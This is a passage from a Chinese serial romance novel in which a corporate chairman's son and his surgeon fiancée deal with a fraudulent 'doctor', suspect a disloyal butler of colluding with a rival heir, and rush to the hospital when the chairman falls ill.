她银行信誉不好,办不出签证,所以她提前找了个人,想偷渡出去。 却没想到,人还没到码头,就被抓了过来。 她自知大难临头,什么都不敢瞒着,只求他们看她主动交代的份上,坦白从宽。 “混账!” 司董事长一巴掌拍在床头柜上。 发出重重一声响。 “你知道我是谁?你知道我是什么身份?你竟然敢骗我!” 第262章 父子不和 巨大的声响,吓得那女骗子脸色更加惨白,仿佛要被吓晕过去。 而司董事长被气得睚眦俱裂,浑身都在发抖。 他原本儒雅的额角,现在凸显出明显的青筋,仿佛要吃人。 他堂堂S集团董事长,司家说一不二的人物,竟然被一个市井小民骗的团团转。 还因此躺在手术台上,被晾了两个小时! 如此丑闻……传出去,他真要被世人笑话死。 司董事长从未受过这么憋屈的气。 这一刻,他是真的想杀人。 “你……”他正要破口大骂,突然感到脑子一阵晕眩。 夏灼灼看出司董事长的不对劲,上前两步,道:“您的身体不宜动怒,您先冷静一些,别跟这种人生气,伤了自己的身体不值得。” 夏灼灼不知道哪个字说到了司董事长心上。 大概是那句“不值得”。 他脸色稍缓。 因为的确不值得。 这女骗子,别说不配让他生气了,换成正常情况,她连见到他的资格都没有。 他们是两个世界的人。 他不必要在这种人身上动气。 “带出去,该怎么处理,阿行你去办吧,这件事不能再让更多的人知道。” 司慎行面无表情。 “我办事不靠谱,我做什么都恨不得让全世界的人知道,还是让您最信任的人去办吧。司管家,这件事就交给你了。” 司管家如临大敌,求助看向司董事长。 “先生……” 司董事长闭了闭眼睛。 他知道自己长子的脾气。 他的确会闹得全世界的人都知道。 “你把她带走!她不是欠高利贷吗?送到那帮人面前,让他们去做。” 还不起钱,高利贷的人不会放过她。 “是……” 司管家忙叫人进来,把女骗子拖出去了。 因为不能报警,所以此事偷偷执行,他们把人打晕,乔装成病人,用担架抬出医院的。 一切做的悄无声息,只为了维护司董事长的尊严。 人送出去后,司董事长开口问季恒:“你既然抓到了那个骗子,凌悠然在哪你应该也知道吧?” 女骗子解决了,但还有一个始作俑者,凌悠然。 如果不是凌悠然大肆寻找女神医,找到人之后,又不进行核实,根本不会有这样的事情发生。 所以凌悠然也得解决。 但又不能明着来。 他不愿意让这件事被更多人知道。 这是尊严问题。 到了他这个地位和年纪,脸面比什么都重要。 他被药店店员骗躺在手术台两个小时的事情但凡传出去,他会成为京都乃至整个华夏最大的笑柄。 只听季恒说:“人没抓到,不过已经查到了。她在去西城的火车上。” 司董事长蹙眉。 “她去西城做什么?” “西城距离邻国只有一河之隔,她估计是知道女骗子东窗事发,您这边不会容她,所以跑了。” 而京都机场是S集团承建的,想拦住她易如反掌。 所以她另辟蹊径,不坐飞机,坐火车去西城,再从西城去邻国。 西城处于两国交界,人龙混杂,她从西城跑,的确是个好办法。 季恒道:“这个人,小聪明还是有的。那辆火车是直达,中途不停车,咱们要抓她,只能提前飞去终点站等。但那边太乱,她从咱们眼皮子下溜走也是有可能的。” 毕竟,他们不能大摇大摆去抓人,多少得给当地官方一个面子。 夏灼灼在这时开口。 “我爸爸的车祸,是凌悠然在背后一手操控的。咱们可以不出手,就以这件事报案,让官方抓人。官方抓人有名目,咱们再在暗中盯着,免得她逃走,这么做是不是更好?” 夏灼灼早就想找凌悠然为夏云海报仇。 只可惜,前阵子需要窦部长为夏云海的事情背锅,所以得隐忍。 现在窦部长已经落网,就可以旧事重提了。 横竖真正打倒窦部长的证据都已经收集齐,不差这么一件事。 司慎行点头。 “可以,就按照你说的做。” 季恒立刻说:“交给我吧,你们留在这里忙你们的,这点小事,我来办。” 司慎行再次点头:“好。” 季恒走了。 可夏灼灼发现,司董事长的表情略有一丝不自然。 她心中不解。 而司董事长之所以神情不自然,是因为夏云海的事情他早清楚,并且帮了凌悠然的忙。 当初钱作梁让凌悠然去自首,是他出面,帮了凌悠然一把。 现在听他们提起这个,心里颇有些尴尬。 夏灼灼不知道具体情况,司慎行却是很清楚。 当初手下向他报告,凌悠然去了老宅一趟,出来之后,窦家就不对凌悠然步步紧逼了。 他便知道是司董事长帮了她。 只是当时他们需要对付窦部长,他便也没说什么。 但现在不同了。 他嘲讽地开口:“爸这是怎么了?怎么看着有点心虚。” “我有什么好心虚的!” “那您自己心里清楚。” “你——” 司董事长正要发火,瞥见夏灼灼还在旁边,只得把怒火压了下去。 夏灼灼更疑惑,不知道两个人这是在说什么。 好在,司慎行并没有继续,只说起了他的病情。 “你的病,我给灼灼看过病历。她觉得虽然危险,但以她的技术可以确保手术成功。之前她爸爸车祸,伤的也是脑子。” “手术做的很成功,录像已经被用作那家医院的学习资料。你要是不信,可以派人去沪城问。” “之前你不同意让灼灼给你看病,我现在再问您一句,您要不要她来给您做手术?” 司董事长掩鼻咳嗽一声,说:“这件事,以后再说吧。” 司慎行眉头紧紧拧起。 “我不明白,你到底在推辞什么?你愿意让一个骗子给你做手术,也不愿意让灼灼给你做手术?我比凌悠然还不可信吗?” “我没这个意思。”司董事长轻描淡写地说:“我只是累了,想休息一阵,再考虑要不要做手术。” 司慎行如鲠在喉。 他不恨司董事长。 只恨自己不够狠心。 他要是再狠心一些,就能不管他的死活,不会再强求。 “阿行。”夏灼灼拉住司慎行的手,说:“司董刚手术台上下来,恐怕心里还有阴影,让他好好想想,给司董一点时间吧。” 夏灼灼怕司慎行压不住怒火,说出一些不可挽回的话来。 他们父子两个要是真闹起来,只会两败俱伤,叫他人坐收渔翁之利。 如今好不容易扳倒了窦家,她真怕按下葫芦浮起瓢,又生事端。 时刻警惕的日子过久了,她只想好好放松一阵子。 好在司慎行虽然恼怒,却很听夏灼灼的话。 他没有再说什么,却也不走,似乎在等什么人。 父子俩就这样僵持着。 夏灼灼站在司慎行身边尴尬不已。 她还不知道,会有一家人之间的相处方式是这样的。 她刚回到夏家的时候,所有人得知她回来都欢喜,当然除了夏怀武之外。 所以她在家庭里感受到的是满满的爱意,而不是暗涛汹涌。 就在这时,病房的房门被敲响了。 夏灼灼甚至有种如获大赦的感觉,立刻朝门口看去,看看是哪个好心人来解救她了。 随着司董事长开口说“进来”,房门被推开,走进来两个熟悉的人影。 竟然是宗域和云老爷子。 只是不见云霓。 宗域的目光停留在夏灼灼的脸上,对她轻轻一点头。 夏灼灼也同样回以一点头。 宗域没有食言,他的确做到了帮助她。 在扳倒窦派的事情上,他也出了大力。 而后,陈市沉冤得雪,恢复官职,而宗域这个特派员就回了京都,只是官职上又升了半级。 夏灼灼还听说,宗域和云霓似乎关系破冰了。 这是秋雨八卦给她听的。 她很为他高兴。 却没想到,今天在这里碰见了。 但宗域似乎并不惊讶她在这里。 夏灼灼很快瞥见两人身后的阿麦,大概猜到了原因。 故而点头之后,便没有多余的话了。 “云老,您怎么来了?”司董事长惊讶地坐起身。 “快躺下。”云老爷子几步走到司董事长身边。 他经过夏灼灼的治疗和药方调理,身体已经大好。 虽然满头白发,但精神头非常好,看起来比司董事长还要康健。 只听云老爷子说:“我来看看你,顺便来道谢的。” “道谢?”司董事长更加错愕。 云老爷子转过身,对着夏灼灼一点头,笑着说:“我是来谢谢你未来儿媳妇的。” “?” “之前我生病,卧床了半年多,是托我一个老朋友介绍,找到了神医小姐为我看病。一开始我也不抱什么希望,哪里知道,她竟然真的把我治好了。按照我现在的身体,医院说,我起码还能再活二十年。” 司董事长脸上的表情错综复杂。 看夏灼灼的眼神,也有了细微的变化。 但也仅仅只是一瞬,就恢复了自然。 “真是恭喜您老了,只是我的命恐怕没有你的命好。” “这话是怎么说?我听宗域说,神医小姐很快就要嫁到你们家了。有她在,你还愁活不到一百岁?” 司董事长笑笑,并不多谈这些,只是问起了云老爷子的身体状况。 两个人聊了一会儿有的没的,云老爷子起身告辞。 他的作用,就是让司董事长确定夏灼灼的医术无双。 该说的话已经说完了,他也该走了。 第263章 忌惮她 临走的时候,云老爷子让宗域把带来的礼物一分为二。 一部分送给司董事长,一部分送给夏灼灼,聊表谢意。 司董事长看着放在两边的两份礼物,眸子里碎芒闪了闪,深深看了眼夏灼灼。 云老爷子这一番过来,目的是帮夏灼灼站台说话。 夏灼灼的表情却仍旧跟云老爷子来之前一样,不骄不躁。 如此内敛低调,倒是让司董事长对她有些另眼相待了。 夏家这个流落在外多年的女儿的确有些不一般,怪不得他这个眼高于顶的儿子对她言听计从。 连要发火,都能被夏灼灼轻飘飘一句劝告压住。 着实让他惊讶。 是个有本事的女人。 他欣赏有本事的女人,却也忌惮太有本事的女人。 “你们也走吧,我一个人躺一躺。过两天我出院了,再回家找你们吃饭。” 司慎行蹙眉。 云老爷子都证明夏灼灼医术超群了,他却还不松口! 正要发作,夏灼灼再次拉住了他的手。 “我正好有点饿了,我们走吧。” 此时,距离吃过午饭也就三个小时时间。 夏灼灼这话明显是找借口拉他走。 司慎行听明白了,点头,转头对司董事长说:“我们先走了,不住老宅,住云锦苑。你要是想通了,就来这里找我们。” 他不生气也不焦躁,只是很平静地说完了这段话便反握住夏灼灼的手走了。 司董事长的眉头又是一皱。 这个女人,太有本事。 两人走了,司管家立刻来到了司董事长身边。 “先生,我们还要继续住院几天,还是回老宅?” “先住两天。”司董事长面无表情地说:“匆匆来一趟又匆匆走,容易引人置喙。” 还是那句话,他要脸面和体面。 不能叫人知道,他来医院只是在手术台上躺了两个小时就走了。 演戏演全套。 就让外界以为他只是突然不适,住院了两天。 而不是来做手术。 司管家应声。 “那我这就去跟医生说一声,咱们两天后出院?” “先不急。”司董事长叫他把门关上,这才开口:“如果你是我,你会让夏家那丫头给你手术吗?” 司管家笑了笑,说:“这我没法回答,我跟您不一样,我这条命,不值钱的,试一试也无妨。” “也就是说,如果你站在我的位置,你也不会轻易同意?” 司管家搓搓手:“您问我这个问题,不是为难我吗?少爷那边对我已经很不满了。” “你说的话,他不会知道的,我只想听一句真话。子安,我最信任的人,就是你了。” 司管家的名字叫周子安,只是大家都习惯叫他司管家,很多人甚至因此以为他姓司。 他似是很纠结,好一会儿才开口:“夏小姐太年轻了。少爷也很年轻,尤其是在感情上,简直是白纸一张,我就怕他也是被人忽悠了。所以我觉得您可以考察夏小姐一阵再决定。” “是这个道理。”司董事长点点头,又说:“你不该把我动手术的事情告诉他。” “是我的错,我不该……” “算了,我不怪你,我当时的情况让你着急了,你找个有主意的人来也正常。医院人多眼杂,如果你不说,其他人也会说。” 司管家连忙道谢。 他当时给司慎行打电话,想的也是这个。 如果让其他人把消息告诉司慎行,按照司慎行的性格,他大概没法继续留在司家了。 加上万一司董事长在手术台上有个好歹,司慎行恐怕会要他的命。 出于对自己安全的担忧,他才打了那通电话。 这么一来,就是司慎行跟司董事长父子两人的矛盾,而不会由他来背这个锅。 司董事长也清楚这一点,但是没怪他,他稍稍松了一口气。 又提起了另一件事。 “如果您真打算让夏小姐为你动手术,不如叫谨言少爷回来。有他牵制住慎行少爷,也不怕手术过程出现问题。” “我再想想,你去吧!我躺一会儿。” “是。” 司管家快速退了出去。 他没有立刻去医生办公室,而是打了一通海外电话。 电话时间持续了十几分钟。 殊不知,一道身影悄悄进了司董事长的病房。 “如何?”司董事长问眼前的中年男人。 这是他另一个心腹,叫周鸣。 “司管家在打电话,故意避开人的……我怕引起他注意,没太靠近。” “去查他的通话记录,别叫他发现。” “是。” 周鸣很快 …… 另一边。 夏灼灼被司慎行带到了一家北方菜的餐厅。 她说了自己不饿,当时只是找借口拉他走,但司慎行还是带她去吃饭了。 “先随便垫一垫肚子,晚上我们好好吃一顿。” 说是随便,可满桌子都是菜肴。 夏灼灼点头,拿起筷子每道菜都夹了两口。 “怎么样?”司慎行问她:“合胃口吗?会不会吃不惯北方的菜?” 夏灼灼提醒他:“不会吃不惯。我回夏家之前,一直住在京都。” 司慎行恍然想起,暗部之前的基地就在京都。 夏灼灼这个暗部首领,自然在京都坐镇。 “抱歉……”司慎行按了按太阳穴:“我可能有点累,脑子不清楚了。” 夏灼灼知道他是因为司董事长的事情心绪不佳。 她特意逗他开心。 司慎行是个笑点很高的人,夏灼灼用了九牛二虎之力,才把司慎行逗笑了。 司慎行握住她的手,说:“你不用担心我,我明白的,有些人的子女缘就是很浅。他并非是偏心司谨言,他只是更偏心他自己。” 夏灼灼点点头,说:“无论如何,我都会陪在你身边。” 司慎行“嗯”了声,给她夹菜。 “你试试这道菜,这家餐厅我常来,我觉得比四季阁的菜好吃。” “好。” 夏灼灼虽然不饿,但也逼着自己吃了一点。 之后还不知道会发生什么事,让自己吃饱才有足够的精力应对。 一桌子的菜,夏灼灼最喜欢那碗鱼羹。 她不喜腥味,不爱吃海鲜,可见这道鱼羹做的有多好。 离开前,司慎行叫人去后厨找厨师,讨问鱼羹的制作方式。 夏灼灼提前上车了,故而她并不知道。 两个人又去了一趟S集团京都总部。 夏灼灼没有跟着去。 她去了一趟暗部。 暗部在这边的基地丢的丢,毁的毁,但保留了两处绝密的地盘。 她去见这两个地盘的负责人,而司慎行自己去了公司。 两人约定好,六点钟在云锦苑碰面。 司慎行几个月不在总部这边,但这边他安排了信任的下属,下属也的确把这里打理得井井有条。 只是忍不住问他:“您什么时候回来坐镇?” 司慎行道:“年后。” 再有两天,就过年了。 下属点点头。 “您快点回来吧,我快累死了。现在才知道您的不容易。” 司慎行扯了下薄唇,笑道:“知道你辛苦,年终奖翻三倍。” 下属很是吃惊。 他记得以前司慎行没这么“温柔”的。 这边的事情处理完,已经是五点多。 司慎行穿上西装,让阿麦开车往云锦苑去。 阿麦问:“需不需要去接夏小姐?” “她去的地方是绝密,我们不要为难她。” 然而话音刚落,夏灼灼就打电话让他去接她。 司慎行的眼睛一下子亮了起来。 他嘴上刚才这么说,心里却还是希望,夏灼灼能信任他。 而夏灼灼也的确信任他了。 他感到内心暖洋洋的。 在自己亲爹那里没得到的信任,他在夏灼灼身上得到了。 这么看来,他也不是很可怜。 “好,你等我,我马上到。” 他赶阿麦下车,亲自去接人,徒留阿麦一个人在寒风中吃冷风。 阿麦心里苦,想着自己也该快点找个媳妇。 冷了累了有人问。 就在这时,手机铃声响起,竟然是霍刚的电话。 他懒得接,直接挂断,打电话让手下开车来接他。 然而手下没来,霍刚却来了。 他二世祖似的,开着辆火红的跑车。 “上车,你看起来怪可怜的。” 阿麦蹙眉:“你怎么来了?不是让你留在沪城?少爷知道你自己偷偷跟过来,非得打死你!” “你放心,跟少爷报备过了的。沪城那边很安全,用不着我。” 沪城如今已经是陈市的地盘了。 而陈市跟冯昭阳关系很好。 冯昭阳又是跟少爷关系深厚,不怕那边会出什么幺蛾子。 阿麦这才上车。 车子里的空调暖气打的很足,他餍足地长出了一口气。 “刚才差点没冻死我!” 北方冬天的户外,那可不是人能受得住的。 偏偏少爷丢下他的地方偏僻,连个躲风的地方都没有。 霍刚哈哈一笑。 “知道兄弟的好了吧?难得回来,晚上你请客。” 阿麦撇嘴:“就知道你小子特意来接我没安好心!” 两人日常拌嘴,另一边司慎行也接上了夏灼灼。 两个人开车前往云锦苑。 云锦苑原本是一个四合院,愣是被推翻,造成了一栋规模不小的豪宅。 “这房子,是我自己买来改建的。”司慎行说:“那个时候,我还不是司家掌权人。” 夏灼灼很错愕。 这意思是,没用司家的钱,是靠他自己赚来的钱买下来的。 能在京都买下四合院,却不借助司家的金钱和权势,可见司慎行并不是个依靠父辈荫庇而走到今天的人。 第264章 异心 司慎行看向她。 “怎么了?很意外?” 夏灼灼如实点头:“是有点儿,不过现在能理解为什么你能在这么快时间内,收服S集团了。” 司慎行一边领着她往里走,一边说:“还没完全收服,尤其最近,好几个二线城市的分部都很不安分。” “是因为司谨言吗?” “大概吧……但他已经是强弩之末了,蹦跶不了多久的,我可以趁机大换血,在所有城市的分公司都换成我自己的人。” 顿了顿,他说:“只是我有点缺人,我培养了一批心腹,但不够用。S集团的分公司遍布全国,我现在又腾不出手培养新人……或许,你能帮我?” 他眼里满是深意。 夏灼灼看懂了,心中一喜。 “你愿意用我的人?” “求之不得,不知道火姐愿不愿意忍痛割爱?” 他如今已经知道,暗部很多人都叫她火姐。 夏灼灼激动地拉住他的手。 “我、我其实正想问你,有没有办法能让田野和谷仔他们走到阳光下来……” 她一开始,打的主意是帮着党帅走到高位,然后让官方承认暗部。 党帅的确也同意了。 他答应收编暗部,把暗部做成一个特殊部门,专门用作处理特殊案件。 可夏灼灼回去跟谷仔他们仔细商量了一下,发现并不可行。 一则,暗部不只是有一两个人。 暗部所有人加起来,足有两千多人。 让官方收编这两千多人,这太为难党帅了。 二则,或许其中一部分愿意被收编,可大部分人过惯了自由的日子,是不愿意被官方收编的。 他们宁愿继续过现在的日子。 这就导致跟党帅商量出来的方案不可行。 而事实的确如此,如今跟着党帅做事的人,加起来不到一百。 依旧有两千多人不知道该如何安排。 可现在,司慎行的话简直是雪中送炭。 她自己的产业,人员已经饱和,并且都是蚊子一力培养,如果她突然把人都送过去,会让蚊子难办。 蚊子并不是这个圈子里的人,他是标准的商人。 他不懂暗部的那一套。 而恰好,司慎行缺人,他又擅长御下。 两个人商量了很久,很快把这件事确认下来。 夏灼灼解决了心中一个大难题,心情无比舒畅,甚至主动吻了司慎行。 司慎行回吻住她,好一会儿才将人放开。 “谢谢你,阿行。”夏灼灼的唇红红的,眼睛也亮晶晶的。 司慎行几乎要把持不住。 他强迫自己移开眼睛,说:“是我要谢你,我正缺人。你的人,我信他们不会背叛。” “暗部两千多人,绝不会背叛我。” “我知道。所以我要谢谢你。” 夏灼灼弯唇。 她迫不及待就要把这个好消息告诉谷仔,让他出具一份名单,把每个人的特长以及想去的城市都写出来,然后再跟司慎行进行确认。 可司慎行拦住了她。 “这件事不急,先吃饭。” 夏灼灼还很饱。 不过司慎行说他亲自下厨,她立刻答应了。 于是餐桌上,除了司慎行找四季阁学的菜,还出现了下午时她吃的鱼羹。 夏灼灼尝了一口,眼睛满是惊喜。 “一模一样,你真不是去那家餐厅买的?” “明天你跟我进厨房,看我亲手做,就知道我是不是买的了。” 他学东西很快。 有些东西他不会,是因为他没学。 一旦开始学,他就会做到最好。 “我们的孩子,一定会很聪明。”司慎行说。 夏灼灼红了脸。 佣人在这时候走过来。 “先生,太太,主卧已经收拾出来了。” 听到“太太”这个称呼,夏灼灼的脸更红了。 可她没有反驳。 她愿意做司慎行的太太。 只不过同房这件事,她还有些…… 正犹豫不知道该怎么开口,才不会让司慎行误会她是不喜欢跟他亲近,司慎行率先开口了。 “我跟太太还没正式领证,你再收拾一间客房出来,我睡客房。” 佣人点头应是,脸上没有多余的表情也没多余的话。 司慎行身边的人,都不是那种蠢笨的。 夏灼灼看司慎行一眼。 “你是主人,怎么睡客房?我睡客房就好了。” 司慎行道:“我听伯母说,你习惯睡硬床,只有主卧的床比较硬。客房都是软床,我怕你睡不习惯。” 夏灼灼的确习惯睡硬床,睡软床她会浑身酸痛,便不再推辞了。 司慎行送她到主卧。 主卧这边的格局跟枫林晚主卧的格局差不多。 司慎行简单介绍了下,说:“我叫他们去拿洗漱用品来。” “先不着急。” 夏灼灼拉住司慎行的手。 司慎行的心狠狠一跳。 下一秒就听夏灼灼说:“有件事我不知道是不是我多心了,想跟你聊一聊。” 司慎行紧绷的脊背松懈下来,同时有些尴尬。 他多想了。 两个人在沙发上坐下来。 “你说。” 夏灼灼开门见山道:“我之前没见过司管家,不清楚他这个人的秉性。今天见了,我觉得他有点奇怪。” 司慎行道:“他这人就是这样,除了老头了,他不把任何人放在眼里。你别看他好像很怕我,他心里并不把我当一回事,只是畏惧我手上的权势,怕我杀了他而已。” 夏灼灼说:“可这么一来就更奇怪了。” “这话怎么说?” “他既然只服从司董事长,可这次却打电话给你,告诉你司董事长躺在手术台上。这件事司董事长必定让他保密,可他还是告诉了你。” “他怕出事,一旦出了事,我第一个找他麻烦。” “话是这么说,可我总觉得哪里不太对劲。” 就是这种说不出来的感觉,让夏灼灼有些不安。 司慎行沉默片刻,说:“女人在第六感方面比我们男人准确,加上你又格外敏锐,或许他真的有问题。我叫阿麦去查他。只是不知道从哪方面查他……?” 夏灼灼道:“你在楼下的时候跟我说,最近好几个二线城市的分公司负责人都不太安分,而这个节骨眼,正好是司董事长找到‘女神医’之后才出现的情况。你说,他会不会跟司谨言有来往?” 司慎行道:“我虽然不喜欢他,但看在他对我爸忠心耿耿的份上,以前没有怀疑过这一点。不过现在你这么说,或许真该查一查,以防万一。” 夏灼灼点头说:“嗯,先查了再说。如果是我多心了,我们最多白忙一场,如果真让我猜对了,那这个司管家是绝对不能留了。” 司慎行很赞同。 防人之心不可无。 尤其现在的情况对司管家很不利,他有这个动机投靠司谨言。 因为他爸但凡出了点什么事,司管家就失去了这个靠山。 而他不仅不喜欢司管家,绝对不可能用他,甚至还有可能对付他。 那么,司管家唯一的退路,就是投靠司谨言。 而司谨言也需要这么一个人帮他。 对司慎行来说,司谨言就是他脑子里的一颗定时炸弹。 司谨言母子,处心积虑想得到司慎行的一切,如今所有一切回归正轨,他们怎么可能放弃? 万一他跟司管家来个里应外合,对司慎行来说是很大的麻烦。 “别耽搁了,现在就让他们去查吧。我的眼皮一直跳,有一种很不好的预感。”夏灼灼按了下自己的右眼皮。 司慎行笑道:“你是医生,怎么也信这个?连我都知道,眼部痉挛是眼疲劳造成的。你早点休息,少操点心,眼皮就不跳了。” 夏灼灼叹了口气,说:“我可能就是操心的命。” “没人天生是操心的命,你只是担心我。” 司慎行伸手捧住她的脸,如爱惜珍宝一般,在她的鼻尖轻轻落下一个吻。 “早点休息,别的事我去办。” “好。” 司慎行很快离开了。 夏灼灼也依照司慎行说的,去浴室洗了个热水澡。 她来京都这一天来得很突然,什么东西都没带,所以只能用佣人为她准备的。 其中就有司慎行原本用的沐浴露和洗发水。 当陌生的气味萦绕她时,她隐约明白,之前司慎行为什么找她讨要她自制的洗发露了。 身上有对方身上的气息,这是一件看似普通,却很甜蜜的事。 原来那个时候司慎行就喜欢她了啊。 夏灼灼的脸蛋红扑扑的,也不知道是因为北方的暖气太热,还是因为别的。 睡前,她找了个蒸汽眼罩给自己戴上。 一觉醒来,第二天她的眼皮果然不跳了。 …… 夏灼灼刚睡醒时脑袋放空,直到看到陌生的淡蓝色天花板的时候,才反应过来她人在京都了。 北方的冬天,在室内比南方要好熬很多。 稍稍回神后,她从床上坐起来。 余光瞥见床头柜上放了两套衣服。 一套是室内穿的单薄家居服。 另一套是厚重的穿到室外的衣服。 衣服最上面还放了一条兔毛围脖。 夏灼灼伸手摸了下,触感很好。 她大概猜到这是司慎行放在这里的。 因为衣服叠的不太规整。 这里的佣人都是训练有素的,不会犯这样的错误。 夏灼灼换上家居服,洗漱完毕便下楼去了。 她不知道司慎行住在哪间,所以打算去楼下问问。 谁想问了佣人才知道,司慎行不在家。 他一夜未归,只在早晨七点多的时候回了趟家——专程来给她送衣服的。 放好衣服他就又出门了。 第265章 司董事长病发 一夜未归…… 都说左眼跳财右眼跳灾,夏灼灼的右眼皮毫无征兆地又跳了起来。 佣人看她脸色不太对劲,连忙跟她解释:“先生应该是出去忙公司的事情了,回来的时候看起来很疲惫,还是跟小麦总一起回来又一起走的。” 这是帮司慎行解释,他不是出去厮混了。 夏灼灼有些无奈。 她当然不会怀疑司慎行昨晚是鬼混去了。 她脸色不好,只是怕自己的猜测成真。 司慎行只有真的查到了司管家不对劲,才会费一个晚上的时间去查。 如果没问题,他应该一定会回来睡觉的。 忙活一个晚上都没回来,只能是……司管家的确有问题。 这是夏灼灼不想看到的。 司管家若是没问题,皆大欢喜,若是有问题……又是一场风波。 她闭了闭眼,对佣人说:“我知道了,上早餐吧。” “好的,太太。” 佣人快速观察了下她的表情,战战兢兢离开了。 她确定,夏灼灼是不高兴了。 却只以为她是为司慎行一夜不归而不高兴。 夏灼灼看出来对方误会了,却无法解释。 查司管家的事情是秘密。 他们误会了就误会了吧。 她没损失什么。 顶多是多一个“善妒小气”的名声。 早餐很快端上来了。 他们提前问了司慎行她喜欢吃什么,故而桌上的早点都是她爱吃的。 但夏灼灼没什么心思吃饭,只用了半碗粥,一个煎鸡蛋。 其他的都没动。 别墅里的气压更低了,都以为夏灼灼吃醋不高兴了。 夏灼灼不想看到他们小心翼翼打量她,找了个借口出门去了。 她提前打了电话,去拜访党帅。 党帅住的地方很特殊,守卫也很森严。 但因为提前打了招呼,她一路畅通无阻进去。 刚一进门,党津渡迎了上来。 “灼灼妹妹。” 他眼底带笑,却并无任何轻挑之色,很郑重跟她解释党帅去忙了,但特意交代他留在这里。 没有轻视的意思,是真的很忙。 夏灼灼毫不介意。 她知晓党家人都是自己人。 “一家人,不说这些,津渡哥你在也是一样的。” 党津渡点点头,带她去一楼的茶室坐下喝茶。 夏灼灼知道党津渡也很忙,故而只喝了一口茶就开门见山地说:“我这次过来,是想为之前我拜托党帅的事……” 她简单说了下,暗部的人大部分不适合进入政界。 又说了司慎行的安排。 党津渡点点头。 “我会转达给我爸的。不管他们选择跟着我爸做事,还是依照你跟阿行的安排做事,华夏官方都不会为难他们。” 夏灼灼得到这句话,彻底放心了。 “伯父的身体怎么样了?我正想着去沪城看望他,正巧你来了。你打算什么时候走?我可以跟你一起回去。” 夏灼灼道:“我爸的身体恢复得差不多了,等他完全恢复,他会来京都一趟。您就别特意跑过去了。” 党津渡却很坚持要去看望夏云海。 “我也算是海叔看着长大的,你别不给我看望他的机会。” 夏灼灼笑道:“那行,等我回去,我跟你说一声。” “好。” 党津渡点头,透露给她一件事。 “宁家老大两天前来了家里一趟,说是来坐坐,但是走的时候,留下了两件很贵重的礼物。我爸从不收礼,全都给退回去了,就是不知道……要不要改天再请他们吃饭?” 这是询问夏灼灼对宁家的感情。 如果有感情,那便给他们面子,请他们吃顿饭。 若是夏灼灼跟宁家关系不好,他就纯当夏家老大没来过。 夏灼灼反应了两秒,才意识到党津渡说的“夏家老大”,是她妈妈宁穗香的亲大哥。 夏家跟宁家,虽然是一家人,可是其中关系很复杂,夏灼灼也不能立刻给答案。 但党津渡告诉她这件事,是出自一片心意。 夏灼灼先道了谢,而后说:“我认亲回来才半年的时间,跟宁家不太熟悉,回头我问问我妈妈,再给您答复?” 党津渡点头:“好,不急。” 正说着,夏灼灼的手机铃声响了起来。 她瞥了眼屏幕,是司慎行打过来的。 夏灼灼掐掉了电话,站起身,说:“打扰太久,我先回去了,我今天说的话还麻烦您转告党叔叔一声。” 她拜托了党帅这件事,却自己反悔,不说清楚容易引起误会。 党津渡立刻点头:“好,我送你出去。” 话音刚落,手机铃声再次响起。 依旧是司慎行打过来的。 夏灼灼的眼皮轻轻一跳。 她挂断电话,司慎行必然知道她是不方便接,可才过几秒又打过来了,只能说明,他很着急。 夏灼灼不耽搁了,直接接通,将手机贴近耳朵。 “喂?” “灼灼,你在哪儿?我爸发病了,需要你来医院。” 夏灼灼心下一惊。 “我立刻过来。” “嗯,我在医院门口等你。” 他没说来接夏灼灼。 一来一去,更耽误时间,可见情况危急。 “怎么了?”党津渡看她脸色不好,问。 夏灼灼沉默一秒,说:“津渡哥,我着急赶去医院,你能不能送我过去?可能得闯红灯。” 她开车来的。 但她没办法在京都横冲直撞开车,容易被交警追。 但党津渡开车就不一样了,省去很多麻烦。 党津渡立刻答应。 他知道夏灼灼是知道轻重的人,会开口拜托他,那一定是出了什么大事。 他什么都不问,直接安排车子,亲自开车送夏灼灼。 一路两个警卫开摩托车开路,风驰电掣到了医院。 “谢谢你,津渡哥。” “不说这些,你快去忙你的。” 从始至终,他也不问发生了什么。 夏灼灼对党家的认识更深,他们的确是夏父值得付出那么多的人。 “好!” 她用力一点头,拉开车门快速下车。 刚进医院大门,她就看到了司慎行。 司慎行牵住她的手,大步领着她往手术层去。 路上,他大概说了下自己知道的情况。 “我安排了人,守在他住院的那一层。” “那人说,昨天我们离开后,除了护士和医生,只有两个人进出那间病房。” “两个都是老头的心腹,一个是司管家,另一个叫周鸣。” “发病之前,两个人前后半小时内,都进去过病房。” “发病前最后一个见的就是周鸣。” “医生说,老头是被气得病发的。” 又说:“我昨晚查了一个晚上司管家,他的确有问题。每隔三天,他都会打一通越洋电话。昨天我们走后也打了一通,我查到那个国外的号码是司谨言在用。” “看来,他们的确勾结在了一起。”她顿了下,问:“那周鸣呢?他是最后一个进病房的。” 司慎行道:“这个周鸣,我还没来得及去查。两个人现在分别被扣在两个病房里,我暂时腾不出手审他们,在等你来。” 说话间,夏灼灼能感觉到他的手指微微有些发抖。 她用力回握住他的手。 “你放心,有我在,不会让他出事。你要稳住。” “我会的。” 她的灼灼,能在自己父亲出狱当天被车撞的时候稳住,他也会争气。 哪怕他现在的怒火让他想杀人。 跟夏灼灼在一起后,他学到最多的,就是控制情绪。 从前他像个随时会爆炸的煤气罐,现在,他已经能控制自己了。 很快就到手术层了。 夏灼灼跟司慎行道别。 “你忙你的,我忙我的,我们各司其职,都把自己的分内之事做好。” “好!” 他张了张嘴,补了一句:“我恨他,但我不想他死。” “我明白,我不会让他死。” 当医生最忌讳的,就是把话说的太笃定。 但夏灼灼就是把话直接说死了的。 她在借此安抚司慎行。 两人不再多说,就此分开。 夏灼灼一头扎进了手术室。 她嘴上说得自信笃定,但她看过司董事长的病历,他这手术,没那么容易做。 夏云海的手术已经很难。 但司董事长的手术,跟夏云海的手术完全不是一个级别的。 而司慎行,则是去了病房。 这一层楼的病人本就不多,加上他提前安排,已经都被转到别的楼层去了。 病房里的任何动静,都不会传出这一层楼。 阿麦和霍刚迎上来。 “少爷,他们两个都捆着。您说自己亲自审,所以我们没动他们。”阿麦说完,。 司慎行点头,先去了司管家所在的病房。 他对周鸣了解的不多,但对司管家已经查的差不多了。 先从司管家这边着手,再去周鸣那边。 阿麦替司慎行推开门。 他迈步走进去,就看到了被五花大绑着的司管家。 司管家嘴里塞着几块医用棉布,只能发出“唔唔”的声响。 看到司慎行进来,他挣扎的动作更大了。 “唔!唔唔唔!!” 阿麦替司慎行搬过来一张椅子,正对着司管家的位置,而后又拿掉了司管家嘴里的医用棉布。 司管家立刻开口,语气中带着明显的怒意。 